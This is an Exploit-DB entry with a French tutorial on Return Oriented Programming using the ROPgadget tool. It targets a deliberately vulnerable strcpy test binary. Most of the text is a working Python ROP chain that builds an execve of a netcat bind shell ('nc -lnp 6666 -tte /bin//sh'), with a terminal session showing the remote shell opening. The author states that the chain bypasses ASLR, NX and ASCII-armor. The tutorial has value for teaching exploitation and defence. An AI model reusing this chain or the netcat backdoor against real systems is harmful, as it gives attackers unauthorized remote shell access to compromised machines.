[French] How to make backdoor with Return Oriented Programming and ROPgadget tool?

EDB-ID:

17168

CVE:

N/A


Platform:

Multiple

Published:

2011-04-14

	Title:          [French] How to make backdoor with Return Oriented Programming & ROPgadget tool ?
	Language:       French 
	Author:         Jonathan Salwan - twitter: @jonathansalwan
	Date            2011-04-13


	Original version: http://howto.shell-storm.org/files/howto-8.php


        I - Introduction
        -----------------

	Depuis quelques années, l'exploitation des failles applicatives, en particulier des déborde-
	ments  de  tampons,  est rendue de plus en plus difficile par les protections mises en place 
	par les systèmes d'exploitation.

	En  particulier,  il est  de plus en plus rare de pouvoir exécuter du code arbitraire sur la
	pile. Il existe  des techniques permettant de contourner NX mais ces dernières sont inutiles 
	si les fonctions de la libc sont protegées par l'ASCII-ARMOR.

	Cependant,   il existe  une technique  d'attaque qui  permet de   passer  outre  toutes  ces 
	protections. Cette technique s'appelle le ROP (Return Oriented Programming).

	Ce type d'attaque  qui est  extrêmement  "lourde" à réaliser, consite à enchaîner des suites
	d'instructions qu'on nomment "gadget" pour pouvoir modifier l'état des registres et exécuter 
	un appel système ou l'exécution d'une autre fonction.

	Généralement, le ROP est utilisé pour  faire appel à execve() mais ici, dans notre cas, nous
	allons essayer de constituer un execve de ce type:


		
		#include <stdio.h>
		#include <unistd.h>

		int main()
		{
		  char *env[1] = {NULL};

		  char *arguments[7]= { "/usr/bin//nc",
				        "-lnp",
				        "6666",
				        "-tte",
				        "/bin//sh",
				        NULL
				       };
		  execve("/usr/bin/nc", arguments, env);
		}
		


	Tout d'abord, pour  pouvoir  reproduire  l'appel  system execve()  nous  devons connaître sa
	convention.


	On est sur un système Linux x86 32 bits:
	----------------------------------------

	jonathan@ArchLinux [/] $ cat /usr/include/asm/unistd_32.h | grep execve
	#define __NR_execve		 11
	jonathan@ArchLinux [/] $ 

	EAX = 11
	EBX = "/usr/bin/nc" (char *)
	ECX = arguments (char **)
	EDX = env (char **)




	II - Comment faire pour trouver des gadgets ?
	---------------------------------------------

	C'est ici que notre tool rentre en jeux.  ROPgadget est  un tool  permettant de  trouver des
       	gadgets  potentiellement  utilisables  pour  faire du  ROP, vous  pouvez aussi  rajouter vos 
	propres gadgets. 
        
        ROPgadget est disponible à cette adresse http://www.shell-storm.org/project/ROPgadget/

	Prenons comme exemple  le fameux binaire que tout le monde utilise pour faire ses tests. Ici,
	le binaire sera compilé en static pour pouvoir avoir un grande plage de gadgets.

		
		#include <string.h>

		int main(int argc, char **argv)
		{
		  char buff[32];

		  if (argc >= 2)
		    strcpy(buff, argv[1]);

		  return (0);
		}
		

	Utilisons maintenant ROPgadget pour connaître les adresses de nos gadgets.

		
		jonathan@ArchLinux [rop] $ ROPgadget -g main
		Header informations
		============================================================
		phoff        0x00000034
		shoff        0x0007de7c
		phnum        0x00000005 (5)
		shnum        0x0000001a (26)
		phentsize    0x00000020
		shstrndx     0x00000017
		entry        0x08048130

		LOAD vaddr   0x08048000
		LOAD offset  0x00000000

		Gadgets informations
		============================================================
		0x080481c7: pop %ebx | pop %ebp | ret
		0x080481c8: pop %ebp | ret
		0x08048224: call *%eax
		0x0804847e: mov %ebp,%esp | pop %ebp | ret
		0x0804868f: int $0x80
		0x0804874b: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
		0x08048b43: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
		0x08048b43: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
		0x08049241: pop %ebx | pop %esi | pop %ebp | ret
		0x0804a26b: mov %edi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
		0x0804b6a5: mov %esi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
		0x0804c7ab: xor %eax,%eax | pop %ebx | pop %ebp | ret
		0x0804d00e: xor %eax,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
		0x0804dafd: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
		0x0804f1e9: xor %eax,%eax | pop %ebx | ret
		0x0804f70c: inc %eax | pop %edi | ret
		0x080505b8: pop %esi | pop %ebx | pop %edx | ret
		0x080505e0: pop %edx | pop %ecx | pop %ebx | ret
		0x08056e94: xor %eax,%eax | leave | ret
		0x08057dc0: mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
		0x08057e91: mov %ebx,%eax | pop %ebx | pop %esi | pop %ebp | ret
		0x080632a8: mov %ecx,(%ebx) | add $0x8,%esp | pop %ebx | pop %esi | pop %ebp | ret
		0x080635d5: mov %ecx,(%edx) | add $0x8,%esp | pop %ebx | pop %ebp | ret
		0x080636ef: add %ebx,%eax | pop %ebx | pop %ebp | ret
		0x08064c51: xor %eax,%eax | mov %esp, %ebp | pop %ebp | ret
		0x08066a1d: mov %ebx,%eax | pop %ebx | pop %ebp | ret
		0x08068f82: mov %eax,(%ecx) | pop %ebp | ret
		0x08069cda: xor %eax,%eax | pop %edi | ret
		0x08069d24: xor %eax,%eax | ret
		0x08069fa6: sub %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
		0x0806a8e7: mov %eax,%edi | mov %edi, %eax | pop %edi | pop %ebp | ret
		0x0806ad27: inc %eax | pop %edi | pop %esi | ret
		0x0806adcd: inc %eax | inc %eax | inc %eax | ret
		0x0806adce: inc %eax | inc %eax | ret
		0x0806adcf: inc %eax | ret
		0x0806fd96: mov (%edx),%eax | mov (%esp), %ebx | mov %ebp,%esp | pop %ebp | ret
		0x08079531: mov %eax,(%edx) | ret
		0x08084c91: sub $0x1,%eax | pop %ebx | pop %esi | pop %ebp | ret
		0x080850b8: mov %eax,(%edi) | pop %eax | pop %ebx | pop %esi | pop %edi | ret
		0x080850ba: pop %eax | pop %ebx | pop %esi | pop %edi | ret
		0x080850c1: mov %ebx,(%edi) | pop %ebx | pop %esi | pop %edi | ret
		0x080a71ac: pop %ecx | pop %ebx | leave | ret

		Total gadgets: 42/46
		jonathan@ArchLinux [rop] $
		

	 Comme vous pouvez le remarquer, ces gadgets sont situés dans la section .text  d'un binaire
         ELF et donc ne sont pas influençables par l'ASLR ni NX.

	 Nous n'avons, bien sûr, pas besoin de tous ces gadgets, seulement 6 ou 7 nous seront utiles.
	 
	 Nous aurons besoin de:

	 - @.data                                          (l'@ de la section .data pour placer des données)
	 - int $0x80                                       (pour pouvoir exécuter notre payload)
	 - mov %eax,(%ecx) | pop %ebp | ret                (pour placer eax dans un buffer)
	 - inc %eax | ret                                  (pour incrémenter eax jusqu'à 11)
	 - pop %edx | pop %ecx | pop %ebx | ret            (pour poper des adresses)
	 - pop %eax | pop %ebx | pop %esi | pop %edi | ret (ici juste le pop %eax nous sera utile)
	 - xor %eax,%eax | ret                             (pour mettre eax à zero)




	III - Schéma d'exploitation et fonctionnement du ROP
	----------------------------------------------------


	    Imaginons les gadgets suivants:    
		                              - xor %eax,%eax; ret        0x08041111
		                              - inc %eax; ret             0x08042222
		                              - pop %ebx; pop %ecx; ret   0x08043333


	    Avant le débordement de tampon 
	    l'état de vos registres sont les
	    suivants:                         %eax 0xbfffff53
		                              %ebx 0x080482a3
		                              %ecx 0x13

	    L'objectif est de mettre l'état
	    des registres suivants:           %eax 0x4
		                              %ebx 0x41424344
		                              %ecx 0x44434241


	    Votre payload est le suivant:

		                              [NOP X size][SEBP][SEIP]

		                              [0x90 xsize][0x41414141][0x08041111][0x08042222][0x08042222]
		                              [0x08042222][0x08042222][0x08043333][0x41424344][0x44434241]

	    
	    
		   STACK
		+---------+
		0xbfffe51c:	0x08048d70   0xbfffe530	  0xbfffe9a2   0x00000000
		0xbfffe52c:	0x00000000   0x63756f74	  0x616c2068   0x69767473

		                             +------- Adresse de votre tableau (tab[0])
		                             v
		0xbfffe53c:	0x5f746973   0x90909020	  0x90909090   0x90909090
		0xbfffe54c:	0x90909090   0x90909090	  0x90909090   0x90909090
		0xbfffe55c:	0x90909090   0x90909090	  0x90909090   0x90909090
		0xbfffe56c:	0x90909090   0x90909090	  0x90909090   0x90909090

		                                                                     +----------+
		                                                                     |  .text   +
		                                                                     +----------+
		                             +----------------------1--------------->|0x08041111| xor %eax,%eax
		                             |         +------------2---------------<|0x08041113| ret
		                             |         |                             |..........|
		                             |         |  +---------------1--------->|0x08042222| inc %eax
		                             |         |  |         +-----2---------<|0x08042223| ret
		                             |         |  |         |                |..........|
		  Saved ebp ----+            |         |  |         |  
		                v            ^         v  ^         v
		0xbfffe57c:     0x90909090   0x08041111   0x08042222   0x08042222
		0xbfffe58c:     0x08042222   0x08042222
		                                                                     +----------+
		                                                                     |  .text   +
		                                                                     +----------+
		                +--------------------------------------------1------>|0x08043333| 
		                |            +-------------------------------2------<|0x08043333| pop %ebx
		                |            |            +------------------3------<|0x08043334| pop %ecx
		                |            |            |           +------4------<|0x08043335| ret
		                |            P            P           |              |..........|
		                |            O            O           |
		                |            P            P           |
		                |            |            |           |
		                ^            v            v           v
		0xbfffe594:     0x08043333   0x41424344   0x44434241  

	

	Tout le schéma ci-dessus est un exemple à titre démonstratif.


	Passons à l'exploit pour le binaire "main":

	
	#!/usr/bin/env python2
	from struct import pack

	EDAX0      = pack("<I", 0x08050a88)
	STACK      = pack("<I", 0x080c6961) # .data 0x740   0x80c6620
	INT80      = pack("<I", 0x0804868f) # int $0x80
	MOVISTACK  = pack("<I", 0x08068f82) # mov %eax,(%ecx) | pop %ebp | ret
	INCEAX     = pack("<I", 0x0806adcf) # inc %eax | ret
	POPALL     = pack("<I", 0x080505e0) # pop %edx | pop %ecx | pop %ebx | ret
	POPEAX     = pack("<I", 0x080850ba) # pop %eax | pop %ebx | pop %esi | pop %edi | ret
	XOREAX     = pack("<I", 0x08069d24) # xor %eax,%eax | ret
	DUMMY      = pack("<I", 0x42424242) # padding

	buff  = "\x42" * 32
	buff += "BBBB"

	buff += POPALL 				# c'est via %ecx qu'on va construire notre stack
	buff += DUMMY				# padding (pas d'importance)
	buff += STACK				# ecx contiendra l'@ de notre stack
	buff += DUMMY				# padding (pas d'importance)

	buff += POPEAX				# Permet de mettre du contenu dans une adresse
	buff += "/usr"				# on place "/usr" dans eax
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += MOVISTACK			# place "/usr" à l'adresse de notre STACK
	buff += DUMMY				# padding (pas d'importance)

	buff += POPALL
	buff += DUMMY				# padding (pas d'importance)
	buff += pack("<I", 0x080c6961 + 4)	# on change notre STACK pour pointer après "/usr"
	buff += DUMMY				# padding (pas d'importance)

	buff += POPEAX				# on applique la même chose pour "/bin"
	buff += "/bin"
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += MOVISTACK			# on place "/bin" après "/usr"
	buff += DUMMY				# padding (pas d'importance)

	buff += POPALL
	buff += DUMMY				# padding (pas d'importance)
	buff += pack("<I", 0x080c6961 + 8)	# on change notre STACK pour pointer après "/usr/bin"
	buff += DUMMY				# padding (pas d'importance)

	buff += POPEAX				# on applique la même chose pour "//nc"
	buff += "//nc"				
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += MOVISTACK			# on place "//nc" après "/usr/bin"
	buff += DUMMY				# padding (pas d'importance)

	buff += POPALL
	buff += DUMMY				# padding (pas d'importance)
	buff += pack("<I", 0x080c6961 + 13)	# on change notre STACK pour pointer après "/usr/bin//nc"+1
						# pour laisser un \0 entre les arguments
	buff += DUMMY				# padding (pas d'importance)

	# on repète l'opération pour chaque argument
	buff += POPEAX
	buff += "-lnp"
	buff += DUMMY
	buff += DUMMY
	buff += DUMMY
	buff += MOVISTACK
	buff += DUMMY

	buff += POPALL
	buff += DUMMY
	buff += pack("<I", 0x080c6961 + 18)
	buff += DUMMY

	buff += POPEAX
	buff += "6666"
	buff += DUMMY
	buff += DUMMY
	buff += DUMMY
	buff += MOVISTACK
	buff += DUMMY

	buff += POPALL
	buff += DUMMY
	buff += pack("<I", 0x080c6961 + 23)
	buff += DUMMY

	buff += POPEAX
	buff += "-tte"
	buff += DUMMY
	buff += DUMMY
	buff += DUMMY
	buff += MOVISTACK
	buff += DUMMY

	buff += POPALL
	buff += DUMMY
	buff += pack("<I", 0x080c6961 + 28)
	buff += DUMMY

	buff += POPEAX
	buff += "/bin"
	buff += DUMMY
	buff += DUMMY
	buff += DUMMY
	buff += MOVISTACK
	buff += DUMMY

	buff += POPALL
	buff += DUMMY
	buff += pack("<I", 0x080c6961 + 32)
	buff += DUMMY

	buff += POPEAX
	buff += "//sh"
	buff += DUMMY
	buff += DUMMY
	buff += DUMMY
	buff += MOVISTACK
	buff += DUMMY

	#
	# Nous avons actuellement notre liste d'élements séparés par des \0
	# Maintenant il nous faut construire notre de char **
	#
	# 0x80c6961 <_IO_wide_data_1+1>:	 "/usr/bin//nc"
	# 0x80c696e <_IO_wide_data_1+14>:	 "-lnp"
	# 0x80c6973 <_IO_wide_data_1+19>:	 "6666"
	# 0x80c6978 <_IO_wide_data_1+24>:	 "-tte"
	# 0x80c697d <_IO_wide_data_1+29>:	 "/bin//sh"
	# 0x80c6986 <_IO_wide_data_1+38>:	 ""
	#

	buff += POPALL				
	buff += DUMMY				# padding (pas d'importance)
	buff += pack("<I", 0x080c6961 + 60)	# l'adresse de notre STACK
	buff += DUMMY				# padding (pas d'importance)

	buff += POPEAX
	buff += pack("<I", 0x080c6961) 		# l'@ de "/usr/bin//nc"
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += MOVISTACK			# on place l'@ de "/usr/bin//nc" sur notre STACK
	buff += DUMMY				# padding (pas d'importance)

	buff += POPALL
	buff += DUMMY				# padding (pas d'importance)
	buff += pack("<I", 0x080c6961 + 64)	# on décale notre STACK de + 4 pour le pointeur du 2ème argument
	buff += DUMMY				# padding (pas d'importance)

	buff += POPEAX
	buff += pack("<I", 0x080c696e) 		# l'@ de "-lnp"
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += MOVISTACK			# on place l'@ de "-lnp" sur notre STACK
	buff += DUMMY				# padding (pas d'importance)

	buff += POPALL
	buff += DUMMY				# padding (pas d'importance)
	buff += pack("<I", 0x080c6961 + 68)	# on décale notre STACK de + 4 pour le pointeur du 3ème argument
	buff += DUMMY				# padding (pas d'importance)

	buff += POPEAX
	buff += pack("<I", 0x080c6973) 		# l'@ de "6666"
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += MOVISTACK			# on place l'@ de "6666" sur notre STACK
	buff += DUMMY				# padding (pas d'importance)

	buff += POPALL
	buff += DUMMY				# padding (pas d'importance)
	buff += pack("<I", 0x080c6961 + 72)	# on décale notre STACK de + 4 pour le pointeur du 4ème argument
	buff += DUMMY				# padding (pas d'importance)

	buff += POPEAX
	buff += pack("<I", 0x80c6978) 		# l'@ de "-tte"
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += MOVISTACK			# on place l'@ de "-tte" sur notre STACK
	buff += DUMMY				# padding (pas d'importance)

	buff += POPALL
	buff += DUMMY				# padding (pas d'importance)
	buff += pack("<I", 0x080c6961 + 76)	# on décale notre STACK de + 4 pour le pointeur du 5ème argument
	buff += DUMMY				# padding (pas d'importance)

	buff += POPEAX
	buff += pack("<I", 0x80c697d) 		# l'@ de "/bin//sh"
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += DUMMY				# padding (pas d'importance)
	buff += MOVISTACK			# on place l'@ de "/bin//sh" sur notre STACK
	buff += DUMMY				# padding (pas d'importance)

        #
        # Maintenant il nous faut mettre en place eax pour qu'il contienne 
        # l'adresse du syscall execve
        # execve = 0xb
        #

	buff += XOREAX				# on met eax à zero
	buff += INCEAX * 11			# on l'incrémente 11 fois pour qu'il puisse avoir la valeur 0xb
	buff += POPALL				# on fait un dernier pop pour placer les adresses qu'on a construites
	buff += pack("<I", 0x080c6961 + 48) 	# edx char *env
	buff += pack("<I", 0x080c6961 + 60) 	# ecx char **arguments
	buff += pack("<I", 0x080c6961)      	# ebx "/usr/bin//nc"
	buff += INT80				# on exécute

	print buff
	

	Au moment de notre "int 0x80" notre stack et nos registres sont constitué comme ceci:

	  	EAX: 0000000B  EBX: 080C6961  ECX: 080C699D
  		EDX: 080C6991  ESI: 42424242  EDI: 42424242
  		EBP: 42424242  ESP: BFFFF82C  EIP: 42424242


		gdb$ x/6s $ebx
		0x80c6961 <_IO_wide_data_1+1>:	 "/usr/bin//nc"
		0x80c696e <_IO_wide_data_1+14>:	 "-lnp"
		0x80c6973 <_IO_wide_data_1+19>:	 "6666"
		0x80c6978 <_IO_wide_data_1+24>:	 "-tte"
		0x80c697d <_IO_wide_data_1+29>:	 "/bin//sh"
		0x80c6986 <_IO_wide_data_1+38>:	 ""


		0x80c699d <_IO_wide_data_1+61>:	0x080c6961
		0x80c69a1 <_IO_wide_data_1+65>:	0x080c696e
		0x80c69a5 <_IO_wide_data_1+69>: 0x080c6973
		0x80c69a9 <_IO_wide_data_1+73>:	0x080c6978
		0x80c69ad <_IO_wide_data_1+77>:	0x080c697d
		0x80c69b1 <_IO_wide_data_1+81>: 0x00000000

	
	jonathan@ArchLinux [rop] $ ./main $(./exploit.py)
	jonathan@ArchLinux [/] $ netcat 127.0.0.1 6666
	ls
	exploit.py
	main
	main.c
	


	Et voila, l'exploit bypasse l'ASLR, NX et l'ASCII-ARMOR et attend une connexion. 
	Le ROP est extrêmement puissant et stable, mais comme vous avez pu le constater, 
	il est aussi assez lourd à mettre en place.



	IV - Références
	---------------

	[x] - http://www.shell-storm.org

	[1] - http://www.shell-storm.org/project/ROPgadget/

	[2] - http://www.shell-storm.org/papers/files/725.pdf